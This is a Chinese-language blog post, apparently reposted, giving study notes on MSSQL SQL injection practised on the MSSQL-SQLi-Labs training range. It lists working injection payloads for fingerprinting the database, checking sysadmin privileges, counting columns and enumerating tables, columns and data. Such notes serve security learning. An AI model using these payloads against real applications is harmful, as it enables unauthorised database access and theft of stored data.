首页 > 数据库技术 > 详细

MSSQL注入

时间:2021-04-25 10:13:01      阅读:14      评论:0      收藏:0      [点我收藏+]

因为自己Mssql注入差的离谱 基础的都老忘.. 这次来记录下
况且一搜啥sql注入 很多出来的都是mysql的,黯区的课 有讲很详细的mssql注入的课程噢!!想报名的可以call我

使用到的靶场是
https://github.com/Larryxi/MSSQL-SQLi-Labs
提示虽然很友好.. 但是用不到 哈哈

基础补充

以下有些会围绕mysql对比来讲

注释

技术分享图片

判断是否为mssql数据库

and exists(select * from sysobjects) --

判断权限

and 1=(select is_srvrolemember(‘sysadmin‘)) //判断是否是系统管理员
and 1=(select is_srvrolemember(‘db_owner‘)) //判断是否是库权限
and 1=(select is_srvrolemember(‘public‘)) //判断是否为public权限

判断列数的问题

sqlserver:用order by不准确,因为有些数据类型不支持,照样会抛异常回显,像用union all select 1,2,这样也是不准确的,因为还是数据类型的问题,所以用uinon all select null,null
mysql:用order by 都晓得

limit问题

mysql: select * from table_name limit 10;
mssql: select top 10 * from table_name;

联合查询

判断有无注入

  • and 1=1
  • and 1=2

这里也有个问题 要是mysql的话 单独 and 1,也可以 但是在mssql不行

技术分享图片
技术分享图片
技术分享图片
可以很明显的看出

猜字段长度

- order by num
- unino all select null

技术分享图片
三个回显正常
技术分享图片
四个回显错误
判断三个列

寻找显位

很简单 在判断的基础上 改成字符
技术分享图片

查询基本信息

显位找出来了 就查信息呗

- @@version	-- 版本信息
- db_name()	-- 获取库名
- user,system_user,current_user,user_name	–- 获取当前?户名

技术分享图片

查询表名

(select top 1 name from db_name.dbo.sysobjects where xtype=‘u‘)
(select top 1 name from db_name.dbo.sysobjects where xtype=‘u‘ and name not in(‘users‘))	// 上一个永远可以扔进括号里,然后逐个排出表名

这里可以告诉大家一个tips, 库名要是有-这种特殊符号,可以用[]包住
技术分享图片
没有了 也就空了
技术分享图片

查询列名

(select top 1 col_name(object_id(‘table_name‘),1) from sysobjects)
(select top 1 col_name(object_id(‘table_name‘),2) from sysobjects)
(select top 1 col_name(object_id(‘table)name‘),num) from sysobjects)

技术分享图片

查询数据

就非常简单了
技术分享图片

MSSQL注入

原文:https://www.cnblogs.com/secxue/p/14698842.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!